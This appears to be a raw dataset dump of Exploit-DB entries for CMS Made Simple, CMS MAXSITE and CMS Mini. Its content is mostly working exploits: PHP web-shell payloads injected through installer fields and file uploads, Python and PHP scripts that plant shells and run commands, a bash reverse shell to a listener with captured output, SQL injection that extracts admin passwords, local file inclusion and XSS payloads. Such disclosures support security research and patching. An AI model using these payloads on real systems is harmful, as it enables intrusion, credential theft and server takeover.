deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44192
Description: CMS Made Simple 2.1.6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-02-27
Author: Keerati T.

Exploit:
# Exploit Title: CMS Made Simple 2.1.6 - Remote Code Execution
# Date: 2018-02-26
# Exploit Author: Keerati T.
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/13570/cmsms-2.
1.6-install.zip
# Version: 2.1.6
# CVE: CVE-2018-7448
# Tested on: Linux

1.Description
Arbitrary PHP code can be injected into configuration file (config.php) after installation has been finished. In order to inject PHP code, fresh install and valid database credentials is required. Application will force an installer (usually "www-data" due to web-based installation) to set a write permission (777) to destination directory and related installation file. An attacker will proceed installation process until reach step 4 and inject malicious PHP code into "timezone" parameter. Once PHP code has been injected to "config.php", an attacker will be able to execute OS command by accessing backdoor "config.php" file along with injected parameter which contain OS command value.

2.Proof of Concept
- Access to "http://target/path/cmsms-2.1.6-install.php" for installing CMS Made Simple
- Proceed to step 4 of installation which is database setup stage, enter a valid database credentials and modifying "timezone" parameter on intercepted proxy as following:

==========
POST /cms/cmsms-2.1.6-install.php/index.php?mdf68c24c=4 HTTP/1.1
Host: 192.168.5.196
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.196/cms/cmsms-2.1.6-install.php/index.
php?mdf68c24c=4
Cookie: CMSICc861538bbb=i549m59qpme0u9klupbkb68me4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

dbhost=localhost&dbname=cms&dbuser=xvwa&dbpass=xvwa&
timezone=junk';echo%20system($_GET['cmd']);$junk='junk&next=Next+%E2%86%92
==========

- Forward tampered "timezone" parameter packet and proceed to next step until successfully installation.
- Execute OS command via "config.php" by requesting " http://target/path/config.php?cmd=id;uname"

3.Timeline
2017-04-14 Vulnerability report
2017-04-15 Vendor inform that will be fixed on next full release
2017-06-10 Version 2.2 release and vulnerability fixed
2018-02-23 CVE assigned
2018-02-26 Public
Exploit-DB #48742
Description: CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-08-12
Author: Roel van Beurden

Exploit:
# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2020-07-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: N/A


1. Description:
----------------------
CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.


2. Proof of Concept:
----------------------
- Create .phtml or .ptar file with malicious PHP payload;
- Upload .phtml or .ptar file in the 'File Manager' module;
- Click on the uploaded file to perform remote code execution.


3: Example payload:
----------------------
<?php system($_GET['cmd']);?>


4a: Burp request:
----------------------
GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1
Host: 10.10.10.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v

Upgrade-Insecure-Requests: 1


4b: Burp response:
----------------------
HTTP/1.1 200 OK
Date: Thu, 30 Jul 2020 23:14:47 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exploit-DB #48851
Description: CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-01
Author: Roel van Beurden

Exploit:
# Exploit Title: CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)
# Google Dork: -
# Date: 2020-09-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-24860


1. Description:
----------------------
CMS Made Simple 2.2.14 allows an authenticated user with access to the Content Manager to edit content and put persistent XSS payload in the affected text fields. The user
can get cookies from every authenticated user who visits the website.


2. Affected parameters:
----------------------
Content > Content Manager > Edit some page > Logic (tab) > Page Specific Metadata (text field)
Content > Content Manager > Edit some page > Logic (tab) > Smart data or logic that is specific to this page (text field)


3: Example payload:
----------------------
<script>alert(document.cookie);</script>


4: Exploitation demo:
----------------------
youtube.com/watch?v=M6D7DmmjLak&t=22s
Exploit-DB #49793
Description: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-04-22
Author: bt0

Exploit:
# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
# Date: 2021/03/19
# Exploit Author: bt0
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
# Version: 2.2.15
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935

-----------------------------------------------------------

If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field

Reflected XSS in /admin/addbookmark.php

Some payloads that works:

"><script>prompt(1)</script><"
"><script>alert(1)</script><"
63311';alert(1)//812
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

------------------------------------------------------------
Exploit-DB #49345
Description: CMS Made Simple 2.2.15 - RCE (Authenticated)
Type: webapps
Platform: php
Date: 2021-01-04
Author: Andrey Stoykov

Exploit:
# Exploit Title: CMS Made Simple 2.2.15 - RCE (Authenticated)
# Author: Andrey Stoykov
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms
# Version: 2.2.15
# Tested on: Debian 10 LAMPP
# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/12/cms-made-simple-2215-authenticated-rce.html

Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.

// Vulnerable eval() code

if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {

Reproduction Steps:

1. Login as administrator user and navigate to Extensions->User Defined Tags

2. Add code with the payload of:
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.56.1/4444 0>&1'");

3. Click on the newly created User Defined Tag and use the Run function

RCE will be achieved:

astoykov@Lubuntu:~$ nc -kvlp 4444
nc: getnameinfo: Temporary failure in name resolution
Connection received on 192.168.56.132 53690
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Exploit-DB #39760
Description: CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning
Type: webapps
Platform: php
Date: 2016-05-04
Author: Mickaël Walter

Exploit:
=============================================
Web Server Cache Poisoning in CMS Made Simple
=============================================

CVE-2016-2784

Product Description
===================

CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to 
be simple to use by end users and to provide a secure and robust website.

Website: http://www.cmsmadesimple.org/

Description
===========

A remote unauthenticated attacker can insert malicious content in a CMS Made Simple 
installation by poisoning the web server cache when Smarty Cache is activated by modifying 
the Host HTTP Header in his request.

The vulnerability can be triggered only if the Host header is not part of the web server 
routing process (e.g. if several domains are served by the same web server).

This can lead to phishing attacks because of the modification of the site's links, 
defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in 
$_SERVER variable.

**Access Vector**: remote
**Security Risk**: medium
**Vulnerability**: CWE-20
**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

----------------
Proof of Concept
----------------

Request that shows improper HTML entities filtering and will insert 
' onload='javacript:alert(Xss) in the pages :

  GET / HTTP/1.1
  Host: ' onload='javascrscript:ipt:alert(Xss)
  Accept: */*
  Accept-Encoding: gzip, deflate
  Connection: close
  
Request that changes the root domain for all links and allows to redirect to external 
websites : 

  GET / HTTP/1.1
  Host: www.malicious.com
  Accept: */*
  Accept-Encoding: gzip, deflate
  Connection: close
  
Solution
========

Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST'] 
given that the server name is correctly defined or use an application specific 
constant.

Fixes
=====

Upgrade to CMS Made Simple 2.1.3 or 1.12.2.

See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and 
http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade 
instructions.

Mitigation : disable Smarty caching in the admin panel.

Affected Versions
=================

CMS Made Simple < 2.1.3 and < 1.12.2

Vulnerability Disclosure Timeline
=================================

02-24-2016: Vendor contacted
02-24-2016: Vulnerability confirmed by the vendor
03-01-2016: CVE identifier assigned
03-28-2016 & 04-16-2016: Vendor patch release
05-03-2016: Public Disclosure

Credits
=======

 * Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)
 
 Website: http://www.i-tracing.com/
Exploit-DB #34300
Description: CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-11
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41569/info

The Antz toolkit module for CMS Made Simple is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Antz toolkit 1.02 is vulnerable; other versions may also be affected. 

import socket

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/include.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 257\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="antzSeed"\r\n'
           '\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
           'Content-Type: application/octet-stream\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
           '------x--\r\n'
           '\r\n')

    resp = s.recv(8192)

    s.close()

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    print 'searching for shell'

    for i in range(0, 9999):

        shell_path = path + '/modules/antz/tmp/' + str(i) + 'shell.php'

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(8)   
    
        s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
               'Host: ' + host + '\r\n\r\n')

        if http_ok in s.recv(8192)[:len(http_ok)]:
            print '\r\nshell located at http://' + host + shell_path
            break
        else:
            print '.',

upload_shell()
Exploit-DB #34298
Description: CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-11
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41564/info

The Download Manager module for CMS Made Simple is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Download Manager version 1.4.1 is vulnerable; other versions may also be affected. 

import socket, re

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/modules/DownloadManager/lib/simple-upload/example.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 189\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
           'Content-Type: application/octet-stream\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
           '------x--\r\n'
           '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    shell_path = path + '/modules/DownloadManager/lib/simple-upload/'\
        + re.search(u'shell_[^.]+\.php', resp).group(0)

    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        
    else: print 'shell located at http://' + host + shell_path

upload_shell()
Exploit-DB #5676
Description: CMS MAXSITE 1.10 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-26
Author: Tesz

Exploit:
#########################################################################

CMS MAXSITE Remote SQL Injection Exploit <= 1.10

#########################################################################


[+] Author: Tesz [@] THD
[+] Home: http://www.thaishadow.com
[+] Forum: http://www.thaishadow.com/board/index.php

[+] Download: http://maxsite.geniuscyber.com/index.php?name=index

[+] Dork: MAXSITE or intitle:"MAXSITE"

[+] Exploit: http://server.com/path/index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] Greetz: krit,Exploiters,PongZ,{OHM},Usermode,windows98SE,azazel,Mr`Ping,Os555,[T]he[S]hak
[+] Special Thx: THD (Thaishadow Team)


###########################################################################

# milw0rm.com [2008-05-26]
Exploit-DB #37968
Description: CMS Mini 0.2.2 - 'index.php' Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-19
Author: Netsparker

Exploit:
source: https://www.securityfocus.com/bid/56148/info

CMS Mini is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

CMS Mini 0.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/view/index.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000A3)%3C/script%3E&p=cms.guestbook&msg=Message%20sent
Exploit-DB #18001
Description: CMS mini 0.2.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-10-20
Author: BeopSeong/I2Sec

Exploit:
# Exploit Title: [CMSmini 0.2.2 Local File Inclusion]
# Date: [2011.10.20]
# Author: [I2Sec5-BSK]
# Software Link: [http://sourceforge.net/projects/cmsmini/]
# Version: [CMSmini 0.2.2]
# Tested on: [Windows XP]

--------------------------------------------------

/admin/edit.php

30 $name = $_GET['name'];
73 $filename = $dirpath.'/'.$name;
74 $fh = fopen($filename, 'r');
75 $data = fread($fh, filesize($filename));
76 fclose($fh);
77 echo $data;

---------------------------------------------------

POC : http://[ Address ]/admin/edit.php?name=../../../../../../../../../../../../[ Local File ]
Exploit-DB #5896
Description: CMS Mini 0.2.2 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-06-22
Author: CWH Underground

Exploit:
=====================================================
  CMS Mini 0.2.2 Local File Inclusion Vulnerability
=====================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 22 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : CMS Mini
 VERSION     : 0.2.2
 VENDOR	     : http://www.cmsmini.it/
 DOWNLOAD    : http://downloads.sourceforge.net/cmsmini
#####################################################

--- Local File Inclusion ---

----------------------------
 Vulnerable File [view/index.php]
----------------------------

@Line 5

   20:  if( !is_dir('../pages') ) header("location: ../admin/login.php");
   21:
   22:  $path = $_GET['path'];
   23:  $p = $_GET['p'];
   24:  $msg = $_GET['msg'];
   25:  $pext = strrchr($p, '.');
   26:  if( $path )
   27:  $dirpath = '../pages/'.$path;
   28:  else
   29:  $dirpath = '../pages';


---------
 Exploit
---------
[+] http://[Target]/[cmsmini_path]/view/?path=../../../../../../../../boot.ini%00&p=index.html
[+] http://[Target]/[cmsmini_path]/view/?path=cwh&p=../../../../../../../../boot.ini%00.html

    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.

-------------
 POC Exploit
-------------

[+] GET http://192.168.24.25/cmsmini/view/?path=../../../../../../../../../../boot.ini%00&p=index.html HTTP/1.1
[+] Host: 192.168.24.25
[+] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+] Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+] Accept-Language: en-us,en;q=0.5
[+] Accept-Encoding: gzip,deflate
[+] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+] Keep-Alive: 300
[+] Proxy-Connection: keep-alive


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-22]
Exploit-DB #7945
Description: CMS Mini 0.2.2 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-02-02
Author: darkjoker

Exploit:
--+++================================================================+++--
--+++====== CMS Mini <= 0.2.2 Remote Command Execution Exploit ======+++--
--+++================================================================+++--

<?php

function usage ()
{
	exit (
		"\nCMS Mini <= 0.2.2 Remote Command Execution Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://ovh.dl.sourceforge.net/sourceforge/cmsmini/cmsmini-0.2.2.tar.gz".
		"\n[+] Usage   : php xpl.php <hostname> <path>".
		"\n[+] Ex.     : php xpl.php localhost /CMSmini".
		"\n\n");
}

if ($argc != 3)
	usage;
$hostname = $argv [1];
$path = $argv [2];
$fp = fsockopen ($hostname, 80);
$post = "message=<? system (\$_GET ['cmd']); die ();?>";
$request = "POST {$path}/view/index.php?op=guestbook&path=..&p=file.php%00 HTTP/1.1\r\n".
	   "Host: $hostname\r\n".
	   "Connection: Close\r\n".
	   "Content-Type: application/x-www-form-urlencoded\r\n".
	   "Content-Length: " . strlen ($post) . "\r\n\r\n".
	   $post;
fputs ($fp, $request);
fclose ($fp);
$stdin = fopen("php://stdin", "r");
while (1)
{
	echo "$ ";
	$cmd = str_replace (" ", "%20", trim (fgets ($stdin, 1024)));
	if ($cmd == "exit")
	{
		file_get_contents ("http://{$hostname}{$path}/file.php?cmd=rm%20file.php");
		break;
	}
	echo file_get_contents ("http://{$hostname}{$path}/file.php?cmd={$cmd}");
	
}
fclose ($stdin);
?>

# milw0rm.com [2009-02-02]